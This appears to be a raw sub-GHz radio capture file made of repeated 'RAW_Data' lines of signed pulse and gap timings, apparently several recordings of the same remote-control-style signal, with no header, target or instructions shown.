-3002 3393 -3002 3395 -3006 3405 -2994 3393 -3004 3393 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -2994 1801 -1402 1799 -1398 1791 -1398 3401 -3004 3401 -1400 1801 -2998 3405 -2996 1795 -1394 3397 -3006 3405 -1398 1791 -3000 3401 -2994 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 -RAW_Data: 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3407 -3004 3395 -3002 3393 -1402 1795 -2992 1799 -1402 1799 -1402 3401 -4546 1981 -2786 3481 -2908 3497 -2922 3337 -3160 3175 -3186 3389 -2994 3399 -2994 3393 -3002 3403 -3002 3393 -2994 3401 -2996 3401 -3002 3401 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -2998 1801 -1402 1799 -1398 1797 -1400 3401 -3002 3403 -1400 1801 -2994 3401 -2994 1801 -1402 3401 -2994 3401 -1402 1795 -1394 1797 -3002 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 3401 -3002 3395 -3006 3405 -1398 1789 -2990 1799 -1402 3401 -4586 587 -746 551 -1102 2019 -2888 3497 -2864 3439 -3018 3413 -3002 3401 -3002 3403 -2994 3401 -2998 3407 -2994 3393 -3002 3393 -3004 3401 -2998 3397 -2998 3407 -1396 1791 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3393 -1402 1799 -3004 3393 -3002 1795 -1398 3401 -3004 3405 -1400 1793 -1394 1791 -1398 1801 -3002 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 3403 -2994 3401 -3006 3399 -1396 1791 -2992 3401 -3002 3603 -400 201 -1420 877 -1100 1971 -3176 3319 -2904 3511 -3132 3147 -3168 3181 -3186 3395 -2994 3393 -3002 3393 -3004 3401 -3002 3393 -2994 3403 -3002 3393 -3002 3403 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -2994 1799 -1402 1801 -1396 1797 -1400 3403 -3002 3393 -1402 1795 -2998 3403 -3002 1795 -1394 -RAW_Data: 3397 -1402 1799 -3004 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 3395 -3002 3401 -3002 3393 -1402 1795 -2992 3401 -1400 1801 -5262 401 -2280 2005 -2706 3647 -2842 3423 -3010 3405 -3006 3401 -3002 3403 -2994 3401 -3002 3395 -3002 3401 -2994 3393 -3002 3403 -2998 3405 -2998 3399 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -3000 1801 -1400 1801 -1400 1801 -1396 3391 -3002 3401 -1402 1799 -3002 3395 -3006 1805 -1396 3389 -1402 1801 -3002 1795 -1394 1797 -1400 3401 -3004 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 3391 -3002 3401 -3002 3407 -1404 1793 -1392 1793 -2998 1801 -1400 3603 -2686 1231 -664 1505 -3148 3313 -3126 3149 -3166 3175 -3190 3193 -3192 3393 -2994 3401 -2996 3401 -3006 3397 -2998 3399 -2994 3401 -2994 3403 -3002 3401 -1396 1793 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3006 3397 -1402 1795 -2996 3405 -2998 1805 -1396 3391 -1400 1801 -2994 1801 -1400 3403 -2994 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 -RAW_Data: 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 3401 -3002 3407 -3006 3393 -1396 1793 -1398 1799 -3002 3403 -3602 861 -1102 1545 -442 1983 -3002 3277 -3092 3513 -3124 3147 -3168 3173 -3194 3195 -3190 3393 -3002 3395 -3006 3397 -2994 3395 -3002 3401 -2998 3405 -3000 3397 -1396 1793 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -3002 1801 -1400 1801 -1400 1801 -1398 3401 -3006 3393 -1402 1795 -2992 3401 -3002 1801 -1400 3395 -1400 1801 -3002 1795 -1394 3399 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 3401 -3002 3401 -3002 3403 -1396 1793 -1398 1799 -1402 1799 -3004 3593 -610 3645 -2950 3285 -3122 3311 -3116 3323 -3138 3163 -3174 3187 -3194 3397 -2996 3393 -2994 3401 -2994 3403 -3002 3393 -3002 3401 -2996 3401 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -3002 1795 -1394 3399 -1400 1801 -3002 3401 -2994 1801 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 3401 -3002 3393 -2994 3403 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -4212 1599 -1486 1653 -3012 3347 -3168 3181 -3188 3389 -2994 3395 -2994 3401 -3002 3401 -2996 3393 -3002 3401 -3002 3395 -3002 3399 -3004 3393 -2996 3401 -1396 1797 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -3002 1795 -1394 1797 -1402 1799 -1402 3401 -3002 3399 -1404 1795 -2996 3405 -2994 1801 -1396 3391 -1400 1801 -3002 3401 -2996 3401 -3006 1799 -1392 1789 -1398 1801 -1402 1799 -1402 -RAW_Data: 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1795 -1398 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1400 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 3401 -2994 3401 -1402 1795 -2992 1801 -1400 1801 -1400 1801 -1400 1801 -1402 4617 -3624 1617 -3122 3183 -3190 3389 -2994 3403 -2998 3405 -2994 3393 -3004 3393 -3006 3397 -2994 3403 -2994 3401 -3002 3395 -3002 3401 -2994 3401 -1402 1795 -1398 1801 -1400 1797 -1394 1795 -1402 1799 -3004 1799 -1402 1799 -1398 1791 -1398 3403 -3002 3401 -1400 1801 -3002 3393 -3004 1795 -1394 3397 -1402 1799 -3002 3403 -1400 1795 -2992 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -3004 3401 -1400 1797 -2990 1801 -1400 1801 -1402 1799 -1402 3401 -3200 601 -3982 1955 -2718 3687 -2842 3425 -3016 3405 -3006 3401 -3002 3403 -2994 3401 -3002 3393 -2996 3401 -3006 3397 -2998 3407 -2994 3393 -3006 3399 -1396 1791 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -3002 1795 -1398 1801 -1400 1801 -1400 3403 -2998 3405 -1398 1791 -2992 3401 -3006 1799 -1394 3391 -1400 1801 -3002 3401 -1402 1799 -1398 1791 -3000 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 -RAW_Data: 1799 -1402 1801 -1400 1801 -1400 1795 -1394 3399 -3002 3401 -1402 1795 -2998 1801 -1402 1799 -1398 3389 -3002 3603 -608 209 -3446 2219 -2994 3443 -3026 3417 -3002 3407 -3008 3399 -2998 3405 -2994 3395 -2998 3405 -2994 3395 -3002 3405 -2998 3393 -3002 3395 -2994 3401 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -3002 1801 -1402 1799 -1402 1799 -1402 3393 -3002 3403 -1396 1797 -2994 3401 -3002 1801 -1398 3393 -1406 1799 -1402 1795 -3000 1799 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 3389 -3002 3403 -1400 1801 -3002 1795 -1394 1797 -1400 3403 -1400 1801 -5432 663 -1710 1925 -2726 3617 -3010 3419 -3006 3401 -3002 3401 -2998 3407 -2994 3393 -3002 3403 -2994 3401 -3002 3393 -3004 3393 -2994 3401 -3002 3403 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1398 1797 -3002 1801 -1400 1795 -1398 1801 -1400 3403 -2994 3401 -1402 1795 -2992 3401 -3002 1801 -1400 3401 -1398 1791 -1398 1801 -3002 1801 -1400 3401 -3004 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1396 3391 -3002 3401 -1402 1799 -3002 1801 -1402 3393 -2994 1801 -1400 3603 -3858 2219 -3186 3253 -3036 3417 -3006 3405 -3002 3403 -2998 3405 -2994 3401 -2996 3401 -2998 3405 -2994 3395 -2994 3401 -3002 3395 -3002 3401 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -2998 1799 -1394 1797 -1402 1799 -1402 3401 -2998 3405 -1398 1791 -2992 3401 -3002 1801 -1400 3403 -1400 1795 -1396 1795 -3002 3403 -3002 1795 -1398 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1398 1795 -1402 1801 -1400 -RAW_Data: 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 3405 -3002 3397 -1398 1791 -2992 1801 -1400 3401 -3002 3395 -6072 1197 -792 1865 -2724 3513 -2896 3455 -3034 3419 -3002 3401 -3002 3401 -3004 3401 -2994 3401 -2998 3407 -2994 3401 -2994 3403 -2994 3401 -3002 3393 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -2992 1799 -1402 1799 -1402 1801 -1400 3401 -3000 3405 -1396 1793 -2990 3407 -3006 1795 -1394 3397 -1402 1799 -1402 1801 -3002 3393 -1400 1797 -2998 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1398 1797 -1400 3401 -3004 3393 -1400 1801 -3002 1795 -1394 3399 -1400 1801 -3002 4189 -3552 1729 -2986 3429 -3022 3419 -3006 3393 -3002 3399 -3004 3395 -2994 3401 -3002 3395 -3002 3393 -3006 3397 -3000 3405 -2994 3401 -2994 3395 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -3002 1801 -1396 1791 -1398 1801 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -3002 1801 -1400 3395 -1400 1801 -1400 1795 -1394 1797 -3002 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1795 -1398 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1400 3395 -3002 3393 -1402 1799 -3002 1797 -1394 -RAW_Data: 3397 -1402 1799 -1402 1799 -7326 2401 -2060 4155 -2504 3723 -2690 3661 -2838 3421 -3010 3411 -3002 3401 -3002 3401 -3002 3403 -2994 3401 -3002 3401 -2996 3393 -2994 3401 -1402 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -3004 1799 -1398 1795 -1402 1801 -1400 3401 -3004 3393 -1400 1801 -2994 3401 -3004 1795 -1394 3397 -1402 1799 -1402 1799 -1398 1791 -3000 3401 -3002 1801 -1400 1801 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1402 1795 -1398 1801 -1400 1801 -1400 1795 -1396 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1797 -1400 3401 -3002 3403 -1396 1791 -3000 3401 -3004 1799 -1398 1791 -1398 3601 -4120 1733 -2886 3559 -2960 3351 -3094 3255 -3044 3421 -3010 3401 -3006 3407 -3002 3393 -3002 3393 -3004 3401 -3002 3393 -3002 3395 -3002 3401 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1797 -2998 1801 -1400 1801 -1398 1791 -1398 3401 -3002 3403 -1400 1795 -2992 3401 -3002 1801 -1400 3403 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -2994 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1398 1799 -1398 1795 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3393 -1402 1801 -3002 3393 -3002 1801 -1396 3399 -5588 365 -1116 2145 -3134 3189 -3190 3395 -2994 3401 -3002 3395 -3002 3393 -3002 3401 -2996 3401 -3002 3393 -3002 3395 -3002 3401 -2998 3405 -2996 3393 -1400 1797 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -3002 1801 -1396 1793 -1398 1799 -1402 3401 -3002 3401 -1398 1791 -3000 3401 -3002 1801 -1396 3391 -1400 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -2992 1801 -1400 1801 -1400 1801 -1400 1797 -1398 1799 -1402 1801 -1396 1797 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 -RAW_Data: 1797 -1400 1801 -1400 1801 -1402 1799 -1402 1795 -1394 1797 -1400 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1801 -1400 1801 -1400 1795 -1400 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1396 1797 -1398 1795 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1797 -1402 3401 -3002 3393 -1402 1795 -3000 3401 -3002 3393 -3004 3593 -3932 2743 -2594 3595 -3002 3393 -3002 3395 -3002 3401 -2994 3401 -2996 3401 -3002 3401 -2994 3403 -2994 3401 -2994 3403 -2998 3405 -2994 3393 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1398 1791 -3000 1799 -1402 1799 -1402 1801 -1400 3401 -2996 3401 -1400 1797 -2990 3403 -3002 3401 -3002 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1396 1797 -1400 1801 -1402 1799 -1402 1799 -1398 1797 -1400 1801 -1396 1797 -1402 1799 -1398 1795 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1398 1797 -1400 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1398 1795 -1402 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1797 -1394 1795 -1402 1799 -1402 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1400 1801 -1402 1799 -1402 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1799 -1402 1801 -1400 3393 -3004 3401 -1396 1793 -2998 3401 -3004 3401 -1396 1793 -7038 2817 -3032 3167 -3182 3385 -2996 3393 -2994 3401 -3002 3399 -3006 3393 -2994 3403 -2994 3401 -2994 3401 -3002 3395 -3002 3393 -3002 3407 -1404 1795 -1394 1793 -1398 1799 -1402 1799 -1402 1801 -3002 1795 -1394 1797 -1400 1801 -1400 3395 -3002 3401 -1398 1795 -3002 3403 -2994 3401 -3002 1801 -1396 1793 -1398 1799 -1402 1801 -1400 3401 -3004 1795 -1394 1795 -1402 1801 -1400 1801 -1400 1801 -1398 1791 -1398 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1398 1799 -1402 1801 -1396 1791 -1398 1801 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1394 1797 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1801 -1400 1801 -1396 1793 -1398 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1801 -1402 1795 -1394 1795 -1402 1801 -1400 1801 -1396 1797 -1402 1799 -1402 1799 -1402 1795 -1398 1801 -1400 1801 -1402 1799 -1398 1791 -1394 1797 -1400 1801 -1402 1799 -1402 1799 -1402 1801 -1400 1801 -1400 1795 -1398 1801 -1402 1799 -1398 1791 -1398 1801 -1400 1801 -1402 1799 -1402 1799 -1402 1795 -1394 1797 -1400 3403 -3002 3401 -1402 1795 -2990 3403 -1400 1801 -3002 1801 -1396 3591 -4298 1767 -2654 3559 -2912 3513 -2914 3491 -2868 3443 -3022 3417 -3002 3407 -3006 3393 -3002 -RAW_Data: 3393 -3002 3403 -2994 3407 -3004 3395 -2994 3399 -1404 1795 -1394 1797 -1400 1801 -1400 1801 -1396 1793 -2998 1801 -1400 1801 -1402 1795 -1398 3401 -3006 3399 -1400 1795 -2992 3401 -3002 3403 -2994 1799 -1402 1801 -1396 1791 -1398 